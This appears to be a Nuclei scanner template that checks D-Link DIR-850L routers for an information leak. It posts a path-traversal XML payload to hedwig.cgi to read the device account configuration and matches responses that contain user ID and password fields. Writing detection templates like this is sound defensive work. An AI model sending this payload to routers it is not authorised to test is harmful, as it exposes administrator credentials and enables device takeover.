id: dlink-850L-info-leak

info:
  name: Dlink Dir-850L Info Leak
  author: pikpikcu
  severity: info
  reference:
    - https://xz.aliyun.com/t/2941
  metadata:
    max-request: 1
  tags: dlink

http:
  - method: POST
    path:
      - "{{BaseURL}}/hedwig.cgi"

    body: |
      <?xml version="1.0" encoding="utf-8"?><postxml><module><service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service></module></postxml>

    headers:
      Cookie: uid=R8tBjwtFc8
      Content-Type: text/xml

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "</usrid>"
          - "</password>"
        part: body
# digest: 4a0a00473045022100bf7224cceef4ee2ff83e5916e9ff79698f1cb652c0ecfcf033d80abe11f6d1d60220091ff54aeda6e04953f343bf0e530cbc268e2b66bf071539f0063011cd17a923:922c64590222798bb761d5b6d8e72950